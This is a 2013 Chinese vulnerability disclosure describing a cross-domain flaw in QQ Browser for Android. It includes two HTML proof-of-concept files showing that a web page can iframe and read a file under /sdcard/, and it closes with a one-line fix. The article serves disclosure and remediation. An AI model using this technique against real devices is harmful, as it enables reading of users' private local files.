首页 > 安全 > 系统安全 >

QQ浏览器for android跨域及修复

2013-12-06

QQ 浏览器 for android 在跨域实现上存在缺陷导致漏洞。原则上从 internet 域禁止访问 file 域,但是 QQ 浏览器在实现上存在缺陷,造成可以从 internet 域访问到 file 域上的文件,如果 file 域

QQ 浏览器 for android 在跨域实现上存在缺陷导致漏洞
原则上从 internet 域禁止访问 file 域,但是 QQ 浏览器在实现上存在缺陷,造成可以从 internet 域访问到 file 域上的文件,如果 file 域上存在一个漏洞文件则可以获取手机端的敏感信息等。
1、在手机上生成一个如下代码的 html 文件,位置随意,我这里放置到 /sdcard/ 目录下:
<script type="text/javascript">

var request = false;

if (window.XMLHttpRequest) {

    request = new XMLHttpRequest();

    if (request.overrideMimeType) {

        request.overrideMimeType("text/xml");

    }

} else if (window.ActiveXObject) {

    var versions = ["Microsoft.XMLHTTP", "MSXML.XMLHTTP", "Microsoft.XMLHTTP", "Msxml2.XMLHTTP.7.0", "Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.5.0", "Msxml2.XMLHTTP.4.0", "MSXML2.XMLHTTP.3.0", "MSXML2.XMLHTTP"];

    for (var i = 0; i < versions.length; i++) {

        try {

            request = new ActiveXObject(versions[i]);

        } catch (e) {}

    }

}

xmlhttp = request;

xmlhttp.open("GET", document.URL, false);

xmlhttp.send(null);

alert(xmlhttp.responseText);

</script>

2、在任意 internet 域下上传一个如下代码的 html 文件,比如 http://victim.com/ 下:
<!DOCTYPE html>

<html>

<head>

<meta http-equiv="content-type" content="text/html;charset=utf-8">

<title>qq browser file vul</title>

<body>

<script type="text/javascript">

</script>

sdcard file <br/>

<iframe src="file:///sdcard/qq.html"></iframe>

</body>

</html>

3、通过 http://victim.com/qq.html 进行访问,如下图
PS:至于怎么在手机上放置一个存在漏洞的文件那又是另外一个问题了。
修复方案:
1、限定 internet 域对 file 域的访问
相关文章
最新文章
热点推荐